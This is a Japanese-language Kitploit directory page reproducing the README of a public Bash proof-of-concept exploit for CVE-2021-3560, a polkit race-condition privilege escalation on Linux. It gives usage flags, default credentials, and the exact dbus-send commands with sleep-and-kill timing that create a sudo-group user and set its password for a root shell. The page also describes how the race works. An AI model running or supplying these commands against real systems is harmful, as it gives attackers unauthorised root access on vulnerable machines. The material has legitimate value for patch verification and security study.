Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation | Kitploit
ツール/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
特権昇格脆弱性分析エクスプロイトペネトレーションテスト認証
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
124513年前Kitploit レビュー済み

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Kevin Backhouse によるオリジナルリサーチ

これはBashのPoCスクリプトで、Kevin Backhouse氏のブログで言及されている攻撃手順を自動化したものです。 この脆弱性に関する彼の記事はこちら: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

使い方

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

注意事項:

  • このエクスプロイトは、accountsservice と gnome-control-center がインストールされているディストリビューションでのみ動作し、polkit バージョン 0.113(またはそれ以降)または 0-105-26(polkit のDebianフォーク)がインストールされている必要があります。
  • このエクスプロイトは、polkit バージョン 0-105-26(polkit のDebianフォーク)を使用した Ubuntu 20.04 と、polkit バージョン 0.115 を使用した Centos 8 でテストされました。対象が脆弱であると確信しているが、エクスプロイトのチェック機能が失敗する場合は、-f=y フラグを使用してすべてのチェックをバイパスし、エクスプロイトを強制できます。

エクスプロイトはどのように機能するのか?

この脆弱性を手動で悪用するための詳細な説明とPoCは、研究者のブログに詳しく掲載されています。

このエクスプロイトの要約は以下のとおりです:

  • この攻撃には正確なタイミングが必要であり、SSH(またはグラフィカルアプリケーションを開くことができないコマンドラインセッション)を介してログインする必要があります。
  • 攻撃者は、dbus メッセージを送信して polkit をトリガーできますが、polkit がリクエストを処理している間にリクエストを突然閉じます。その後、攻撃者は以前のリクエストの一意のバス識別子を使って2番目のリクエストを送信し、UID 0(別名 root)としてリクエストを実行できます。
  • この脆弱性は polkit に存在します。なぜなら、polkit は、もはや存在しないバス識別子を持つ接続のUIDを、UID 0 からのリクエストとして扱うからです。つまり、攻撃のタイミングを正確に合わせ、最初のリクエストを適切な瞬間に終了させれば、UID 0(別名 root)の権限で2番目のリクエストを行うことができます。
  • 接続を終了するタイミングは、dbusメッセージの送信に必要な時間を2で割った値として計算されます。詳細はこちらで説明されています。

このスクリプトは実際に何をするのか?

前に述べたように、これはKevin Backhouse氏のPoCを自動化するbashスクリプトにすぎません。コアとなるコマンドは同じですが、最初のいくつかの手順(タイミングの取得、脆弱性のスキャン、カスタム認証情報の挿入、色付き出力など)を自動化しただけです。

このスクリプトがパラメータなしで実行された場合、デフォルトの動作は次のとおりです:

  • ディストリビューションの種類を確認します。[/etc/os-release ファイルを使用]
  • accountservice と gnome-control-center のインストールを確認します。[rhel/centos/fedora では rpm -qa を使用し、debian/ubuntu ディストリビューションでは dpkg -l を使用]
  • インストールが見つかった場合、スクリプトはpolkitのバージョンを確認します。[rhel.centos,fedora では 0.113(またはそれ以降)、Debian/Ubuntu では 0-105-26]
  • polkitのバージョンが脆弱であると判明した場合、スクリプトはエクスプロイトを開始します
  • まず、スクリプトは bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null を使用して、リクエストの送信に必要な時間を調べます
ツールをダウンロード
  • RHEL 8、Fedora 21、Debian testing("bullseye")、Ubuntu 20.04 などのディストリビューションは脆弱であることが確認されています。
  • ディストリビューションの互換性リストは、Kevin氏のブログにあります。
  • このスクリプトは、sudoグループに新しいユーザーを注入します。エクスプロイトが成功した場合、スクリプトに指定したパスワードを使って su - <username> でアカウントにログインし、その後 sudo bash を実行してrootシェルを取得できます!
  • この攻撃は正確なタイミングに依存するため、このエクスプロイトを成功させるには通常、複数回の試行が必要です。
  • 警告: このスクリプトをグラフィカルログイン環境で実行しないでください!
  • このスクリプトをグラフィカルログイン環境で実行すると、ループがpolkit認証を繰り返しポップアップ表示し続けます。そのため、このエクスプロイトはSSH/NCシェル内でのみ実行してください。
  • もしそのような状態になった場合は、Esc キーを押して認証プロンプトを閉じ、Ctrl+C でスクリプトをすばやく終了してください。
  • 次に、リクエストを終了する時間($t)は、リクエストに必要な時間を2で割って計算されます($t=time-required-to-request/2)。[awk を使用して計算]
  • 時間($t)が計算された後、$username(secnigma)をターゲットに挿入するリクエストが20回繰り返されます。bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • ユーザー挿入が成功した場合([id secnigma で確認])、パスワードハッシュが生成されます([bash openssl passwd -5 `echo -n $password` を使用])。($password=secnigmaftw)
  • その後、パスワードハッシュ挿入コマンドが20回実行されます。bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!